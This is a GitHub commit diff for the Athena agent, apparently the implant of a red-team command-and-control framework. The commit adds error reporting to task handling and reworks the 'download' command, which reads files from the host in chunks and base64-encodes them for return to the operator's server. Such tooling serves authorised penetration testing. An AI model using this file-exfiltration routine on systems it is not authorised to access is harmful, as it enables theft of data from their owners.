Skip to content

Commit 3e97843

Browse files
committed
modified download command and added more error handling
1 parent 02b4ed6 commit 3e97843

File tree

2 files changed

+54
-12
lines changed

2 files changed

+54
-12
lines changed

Payload_Type/athena/athena/agent_code/Agent/Managers/TaskManager.cs

Lines changed: 10 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -120,11 +120,17 @@ public async Task HandleServerResponses(List<ServerResponseResult> responses)
120120
return;
121121
}
122122

123-
try
123+
Task.Run(() =>
124124
{
125-
Task.Run(() => plugin.HandleNextMessage(response));
126-
}
127-
catch { }
125+
try
126+
{
127+
plugin.HandleNextMessage(response);
128+
}
129+
catch (Exception e)
130+
{
131+
messageManager.WriteLine(e.ToString(), response.task_id, true, "error");
132+
}
133+
});
128134
}
129135
}
130136
public async Task HandleProxyResponses(string type, List<ServerDatagram> responses)

Payload_Type/athena/athena/agent_code/download/download.cs

Lines changed: 44 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
using System.Text.Json;
77
using System.Security.Principal;
88
using System.Globalization;
9+
using System.Security.Cryptography;
910

1011
namespace Agent
1112
{
@@ -120,6 +121,7 @@ public async Task HandleNextMessage(ServerResponseResult response)
120121

121122
downloadJob.chunk_num++;
122123
bool completed = (downloadJob.chunk_num == downloadJob.total_chunks);
124+
123125
//Prepare download response
124126
DownloadResponse dr = new DownloadResponse()
125127
{
@@ -144,18 +146,15 @@ public async Task HandleNextMessage(ServerResponseResult response)
144146
completed = (downloadJob.chunk_num == downloadJob.total_chunks),
145147
};
146148

147-
148-
var tuple = await this.TryHandleNextChunk(downloadJob);
149-
150-
if (tuple.Item1)
149+
if(this.TryHandleNextChunk(downloadJob, out var chunk))
151150
{
152-
dr.download.chunk_data = tuple.Item2;
151+
dr.download.chunk_data = chunk;
153152
}
154153
else
155154
{
156-
dr.download.chunk_data = String.Empty;
157-
dr.user_output = tuple.Item2;
155+
dr.user_output = chunk;
158156
dr.status = "error";
157+
dr.download.chunk_data = String.Empty;
159158
this.CompleteDownloadJob(response.task_id);
160159
}
161160

@@ -175,7 +174,6 @@ private async Task<int> GetTotalChunks(ServerDownloadJob job)
175174
try
176175
{
177176
var fi = new FileInfo(job.path);
178-
//int total_chunks = (int)(fi.Length + job.chunk_size - 1) / job.chunk_size;
179177
return (int)Math.Ceiling((double)fi.Length / job.chunk_size);
180178
}
181179
catch
@@ -196,6 +194,43 @@ public void CompleteDownloadJob(string task_id)
196194
/// Read the next chunk from the file
197195
/// </summary>
198196
/// <param name="job">Download job that's being tracked</param>
197+
public bool TryHandleNextChunk(ServerDownloadJob job, out string chunk)
198+
{
199+
try
200+
{
201+
if (job.total_chunks == 1)
202+
{
203+
job.complete = true;
204+
chunk = Misc.Base64Encode(File.ReadAllBytes(job.path));
205+
return true;
206+
}
207+
long totalBytesRead = job.chunk_size * (job.chunk_num - 1);
208+
209+
using (var fileStream = new FileStream(job.path, FileMode.Open, FileAccess.Read))
210+
{
211+
byte[] buffer = new byte[job.chunk_size];
212+
213+
FileInfo fileInfo = new FileInfo(job.path);
214+
215+
if (fileInfo.Length - totalBytesRead < job.chunk_size)
216+
{
217+
job.complete = true;
218+
buffer = new byte[fileInfo.Length - job.bytesRead];
219+
}
220+
221+
fileStream.Seek(job.bytesRead, SeekOrigin.Begin);
222+
job.bytesRead += fileStream.Read(buffer, 0, buffer.Length);
223+
chunk = Misc.Base64Encode(buffer);
224+
return true;
225+
};
226+
}
227+
catch (Exception e)
228+
{
229+
job.complete = true;
230+
chunk = e.ToString();
231+
return false;
232+
}
233+
}
199234
public async Task<Tuple<bool,string>> TryHandleNextChunk(ServerDownloadJob job)
200235
{
201236
try
@@ -226,6 +261,7 @@ public async Task<Tuple<bool,string>> TryHandleNextChunk(ServerDownloadJob job)
226261
}
227262
catch (Exception e)
228263
{
264+
Console.WriteLine(e.ToString());
229265
job.complete = true;
230266
return new Tuple<bool, string>(false, e.ToString());
231267
}

0 commit comments

Comments
 (0)